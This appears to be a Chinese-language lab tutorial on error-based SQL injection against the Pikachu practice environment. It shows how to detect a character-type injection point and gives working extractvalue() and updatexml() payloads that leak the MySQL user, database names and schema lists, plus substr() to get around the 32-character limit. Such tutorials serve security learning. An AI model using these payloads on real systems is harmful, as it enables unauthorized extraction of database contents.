实验环境:
Phpstudy + Pikachu + mysql + apche
实验目标:通过报错注入获取数据库的相关信息,解决无回显的场景获取数据库信息
- 判断是否存在注入
正常输入的abc查看结果,它说输入的username不存在,这是正常返回的情况
接下来再验证它是否不正常的情况会是怎样?这个地方可以猜测出如果存在注入,在数据库里执行的的查询语句,查询语句可能包含条件模糊查询,而且是字符类型。那么就想办法构造的语句让它不能执行。
传统方法
尝试方法1:abc ‘ and 1=1 然后与正常的情况对比,如果和使用abc 参数不一至 说明有注入.自己想想why??
尝试方法2:abc ‘ and 1=2 然后与正常的情况对比,如果和使用abc 参数一至 说明没有注入.自己想想why??
注:这里为什么是 abc ‘ and ‘1’=’1 而不是abc and 1=1,因为这里参数是字符型,要构造’符合的闭合,传入的参数,在数据库中实际sql执行的语句应该是 select * from tables where username=’传入的参数’。自己想想??
最快的方法:我喜欢直接输入:’或者”或者% 闭合符号,想想为什么??.既然是构造语句,又是字符类型,最直接的就是构造错误,让它执行出错。这里闭合的符号不一定是’,也有可能是“等其它,需要看实际情况。
代码审计:
从源码来分析,并没有对参数进行任务处理。直接接收参数,构造sql语句带入到数据库执行。
- 猜解数据库名、表名、列名、数据详细信息
从上已经判断出有注入点了。这里为了练习学习,mysql5.0以上的版本是有一张默认表的,这里采用报错注入的方式获取数据库的信息。
2.1猜解数据库名
2.1.2报错盲注猜解
2.1.2.1XPATH报错注入猜解
- 条件:mysql5.1及以上版本
- 报错函数
(2.1)extractvalue(arg1,arg2) 接受两个参数,arg1:XML文档,arg2:XPATH语句
标准payload:and extractvalue(1,concat(0x7e,(select user()),0x7e))
Eg:select * from users where username='aa' or extractvalue(1,concat(0x7e,(select user()),0x7e)) and id=2;
(2.2)updatexml(arg1,arg2,arg3)
arg1为xml文档对象的名称,arg2为xpath格式的字符串;arg3为string格式替换查找到的符合条
标准payload:and updatexml(1,concat(0x7e,(select user()),0x7e),1)
Eg:select * from users where username='aa' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),64,32),0x7e),2) and id=2;
注意:XPATH报错注入的使用条件是数据库版本符合条件;extractvalue()和updatexml()有32位长度限制。
解决办法:用substr()函数截取前后部分 例如:
and extractvalue(1,concat(0x7e,substr((select database()),1,5))) %23